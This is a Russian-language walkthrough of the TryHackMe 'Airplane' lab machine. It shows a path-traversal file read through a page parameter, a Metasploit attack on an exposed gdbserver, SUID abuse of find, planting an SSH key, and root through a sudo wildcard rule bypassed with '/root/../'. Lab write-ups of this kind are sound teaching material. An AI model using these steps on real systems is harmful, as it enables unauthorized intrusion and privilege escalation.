Airplane | THM | Medium
Всем привет!
Сегодня попробуем пройти комнату Airplane c платформы THM. У комнаты указана Medium сложность, а значит там нас определенно ждет что-то интересное, поехали!

Спавним машину и первым делом отправляем её на сканирование портов
sudo nmap -sC -sV 10.10.57.221 -oN nmap_initial
Флаги -sC и -sV используются для сканирования сервисов и их версий, флаг -oN записывает результаты сканирования в файл nmap_initial на случай, если они пригодятся нам позже.
По результатам сканирования видим порты 22 – ssh, и 8000 – в нашем случае http-alt, какой-то веб.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-07 02:58 EDT Stats: 0:03:30 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 99.65% done; ETC: 03:01 (0:00:00 remaining) Stats: 0:03:39 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 99.65% done; ETC: 03:01 (0:00:00 remaining) Nmap scan report for airplane.thm (10.10.57.221) Host is up (0.18s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |_ 3072 b8:64:f7:a9:df:29:3a:b5:8a:58:ff:84:7c:1f:1a:b7 (RSA) 8000/tcp open http-alt Werkzeug/3.0.2 Python/3.8.10 | http-title: About Airplanes |_Requested resource was http://airplane.thm:8000/?page=index.html |_http-server-header: Werkzeug/3.0.2 Python/3.8.10
Запишем название хоста в файл /etc/hosts и отправимся изучать веб нашего хоста
sudo echo "10.10.57.221 airplane.thm" | sudo tee -a /etc/hosts
Справка: файл hosts присутствует как в Windows, так и в Unix-like системах. Это текстовый файл, содержащий в себе простенькую базу данных доменных имен. Обращение к файлу hosts является более приоритетным перед обращением к какому-либо dns-серверу.
На 8000 порту нас встречает одностраничный лендинг:

В сурс-коде ничего интересного нет, однако можно заметить, что обращение к странице идет через параметр page. Зачастую такое обращение уязвимо к Local File Inclusion.
И правда, если обратиться по адресу
http://airplane.thm:8000/?page=../../../../etc/passwd
Можно получить содержимое /etc/passwd атакуемой машины

Глобально нам это пока ничего не дает, поэтому имеет смысл поискать другие интересные файлы на атакуемой машине. Для этого перехватываем запрос в BurpSuite, отправляем в Intruder, указываем позицию, подгружаем словарь со списком нагрузок и начинаем атаку

Из целой кучи системных файлов меня наиболее заинтересовали файлы из директории /proc/

Справка: /proc – псевдодиректория *nix, которая предоставляет информацию о процессах, запущенных в системе. Каждому процессу системы соответствует свой Process ID, а каждому PID – своя директория /proc. К примеру, процессу с ID 123 будет соответствовать директория /proc/123.
В рамках этой директории мы можем видеть, что наше приложение написано на python3 и его PID – 557

Исходный код лежит в файле app.py

А домашняя директория приложения – /home/hudson/

Вытащим исходный код и проанализируем

from flask import Flask, send_file, redirect, render_template, request
import os.path
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/' + request.args.get('page')
if os.path.isfile(page):
resp = send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else
return "Page not found"
else:
return redirect('http://airplane.thm:8000/?page=index.html', code=302)
@app.route('/airplane')
def airplane():
return render_template('airplane.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
Однако глобально этот код не дает нам ничего. Это просто веб-страница с параметром page, который уязвим к LFI, с чего начинали, к тому и пришли.
Попробуем раскрутить /proc. Как мы помним, каждому процессу соответствует своя директория /proc/{PID}. Попробуем найти cmdline какого-нибудь еще процесса.
Для этого прочитаем /proc/self/cmdline и отправим запрос в Intruder, выставив нагрузку на место PID:

Выбираем сет нагрузок и начинаем атаку

В ходе этой атаки был обнаружен следующий cmdline:

На порту 6048, по всей видимости, крутится gdb server. Для атаки на него воспользуемся модулем metasploit:

Устанавливаем переменные, выбираем payload и запускаем эксплоит

В результате получаем шелл под пользователем hudson:

Стабилизируем соединение путем запуска псевдо-шелла:
python3 -c "import pty; pty.spawn('/bin/bash');"
Видим, что в домашней директории флага нет, значит нас ожидает горизонтальное перемещение

При помощи metasploit грузим и запускаем на машинке linpeas
upload linpeas.sh /tmp/lin.sh shell chmod +x /tmp/linpeas.sh /tmp/linpeas.sh
Дожидаться конца работы скрипта необязательно, мы нашли, что искали

Находим find на gtfobins.github.io и эксплуатируем суид:
./find . -exec /bin/sh -p \; -quit
В результате получаем шелл под пользователем carlos

Видим, что у нас есть возможность записи в директорию .ssh, а значит можем создать ssh ключ, подключиться с ним и получить нормальный шелл

Генерируем себе ключ:
┌──(root㉿kali)-[/home/kali/thm/airplane] └─# ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): ./carlos Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./carlos Your public key has been saved in ./carlos.pub The key fingerprint is: SHA256:aioXn8Ie+JvfX22VimEGtAEbvC1nKv5fXhnEY8z2q+M root@kali The key's randomart image is: +---[RSA 3072]----+ | .o.o | | .+ o + | | .oo O | | o +. + o .| | S + . o.| | ... o o o.+..| | ..oo+. o.+o. | | ..+*o. o..o. | | +*+o.oo...E. | +----[SHA256]-----+
На атакуемом хосте пишем:
echo '{содержимое файла carlos.pub}' > authorized_keys
Подключаемся по ssh со своей машинки:
ssh carlos@airplane.thm -i carlos
Получаем стабильный шелл:

Прописав sudo -l, видим, что можем выполнять произвольный код на Ruby из директории рута с sudo без пароля:

И здесь мы видим весьма занимательную мисконфигурацию.
Во многих системах * означает 'ALL'. Линукс – не исключение. Вместо этой звездочки мы можем вписать любой символ/набор символов, таким образом данное правило должно распространяться на ВСЕ .rb файлы из директории /root, независимо от их названия.
Мисконфигурация заключается в том, что вместо * мы точно так же можем передать набор символов, который позволит нам выполнить файл из любой другой директории, этим мы и воспользуемся:
Находясь в директории /home/carlos/ напишем системный вызов на языке Ruby, который будет вызывать /bin/bash и поместим его в файл shell.rb :
carlos@airplane:~$ echo "system('/bin/bash')" > shell.rb
carlos@airplane:~$ cat shell.rb
system('/bin/bash')
Далее эксплуатируем мисконфигурацию:
carlos@airplane:~$ sudo /usr/bin/ruby /root/../home/carlos/shell.rb root@airplane:/home/carlos# id uid=0(root) gid=0(root) groups=0(root)
Вот таким незамысловатым образом мы исполнили от имени суперпользователя файл, находящийся в директории, файлы из которой мы исполнять, по идее, не можем.
Осталось дело за малым – собрать флаги user.txt и root.txt
PWNed!